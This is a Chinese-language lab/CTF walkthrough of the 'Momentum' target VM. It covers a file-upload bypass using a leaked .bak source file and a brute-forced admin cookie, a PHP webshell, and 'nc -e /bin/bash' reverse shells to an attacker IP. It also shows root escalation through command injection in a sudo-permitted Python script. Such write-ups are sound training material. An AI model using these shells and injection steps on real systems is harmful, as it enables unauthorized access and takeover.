MOMENTUM靶机渗透笔记

信息收集阶段

1.1 IP信息收集

arp-scan -l获得当前靶机IP:192.168.137.181

1.2 端口信息收集

nmap -T4 -A 192.168.137.181 :收集端口信息

在这里插入图片描述

开启的是2280服务。按照惯例,还有一些关于站点的信息需要收集:

1.3 CMS识别

what -v http://192.168.137.181,依旧是没有CMS系统

在这里插入图片描述

1.4 目录信息收集

在这我用了俩工具一起扫,一个是dirb一个是dirsearch。(虽然最后的结果都大差不差,但是有的目录或者文件还是需要不同的字典来扫。。后续更新字典之后就不会这么麻烦了

dirb http://192.168.137.181 ./directory-list-2.3-medium.txt
python ./dirsearch -u http://192.168.137.181

在这里插入图片描述

漏洞利用阶段

首先访问Web页面,尝试获取有用信息

在这里插入图片描述

但是好像除了仨图片就没啥的了。访问刚才使用目录扫描出来的页面/dashboard.html

是一个文件上传页面,并且提示了上传的路径:

在这里插入图片描述

上传php一句话木马试试

在这里插入图片描述
提示上传不成功。F12查看是否有上传限制。

在这里插入图片描述

这里调用了uploadFile();函数

从network中抓取数据包得知,最终的过滤似乎是靠:ajax.php这个php文件实现的。但是由于php文件已经被解析执行了所以看不到文件内的内容。并且在做目录扫描的时候也没收集到相关的文件备份信息,拿不到源码就无法分析过滤的条件到底是个啥。

根据以往做CTF题的经验,了解到网站的运维人员通常会将备份文件以.bak的后缀去备份文件,使用命令查看是否真实存在这个文件。

curl http://192.168.137.181/ajax.php.bak

在这里插入图片描述
o.O还真的存在。。

-- 现在我们来逐行分析..
    //The boss told me to add one more Upper Case letter at the end of the cookie
   if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
	Cookie的键为admin,并且值为&G6u@B6uDXMq&Ms,而且最后一位是大写的字母
       //[+] Add if $_POST['secure'] == 'val1d'
       还有一个POST参数的键位secure,值位val1d
        $valid_ext = array("pdf","php","txt");
   }
   else{

        $valid_ext = array("txt");
   }

-- 那么也就是说,如果想要上传php等文件,需要满足俩条件
-- 1. Cookie的键为admin,值为&G6u@B6uDXMq&Ms 最后字母为大写
-- 2. 有一个POST参数的值为secure,值为val1d
   // Remember success upload returns 

使用BurpSuite工具开始构造请求

  1. 使用Repeater模块添加Cookie以及post请求的参数
    在这里插入图片描述

  2. 发送到intruder模块
    在这里插入图片描述

  3. 添加纯大写字母字典

在这里插入图片描述

  1. start attack

在这里插入图片描述

只要在回显中出现了 1 那么就说明文件上传成功。

使用蚁剑连接,并且开启虚拟终端,构造反弹shell。

nc -e /bin/bash 192.168.137.182 8989

在这里插入图片描述

athena目录下发现两个比较重要的信息,一个是flag,一个是类似于用户的密码

在这里插入图片描述

Asterisk的意思为星号,有没有可能当前用户的密码就为:myvulnerableapp*呢?使用ssh登录当前的athena用户

ssh athena@192.168.137.181

在这里插入图片描述

成功登录。

切换到另外一个用户目录下:cd team-tasks,出现三个文件cookie-gen.py log.txt note.txt

log.txt没有权限打开

note.txt

Hey, Athena use the cookie-gen.py 
to generate secure cookies for our application 
also remove the ajax.php.bak before it's too late.

- administrator

大致的意思及时Athena用户用cookie-gen.py这个文件给其他用户生成了更安全的Cookie
并且要删除ajax.php.bak这个备份文件

这个提示好像没啥子用,分析cookie-gen.py这个文件

cookie-gen.py

import random
import os
import subprocess

print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")    输入值
random.seed = seed	

cookie = ''
for c in range(20):
    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)    

在这个脚本中,会将用户输入的值作为加密的方式。并且输出

但是下方还存在一段代码:
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
将用户输入的值输出到log.txt中
并且开启一个新的进程,以当前运行者的身份去开启一个shell,并且执行其中的命令

使用命令:sudo -l 查看是否存在可以利用的命令

在这里插入图片描述

root用户可以不使用密码去运行该脚本文件,那么思路就很明显了:

使用root的身份运行该python文件,并且输入一段反弹shell的命令,最终攻击机会拿到root的shell。

理论达成,开始行动!

靶机
sudo python3 /home/team-tasks/cookie-gen.py
nc 192.168.137.182 4396 -e /bin/bash

攻击机
nc -lvvp 4396

在自己打靶机的时候确实可以获得到反弹shell

但是自己在写博客重新复现的时候不知道为啥就无法反弹shell了=,=

师傅们将就着看奥,跟着步骤走是可以拿到root的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值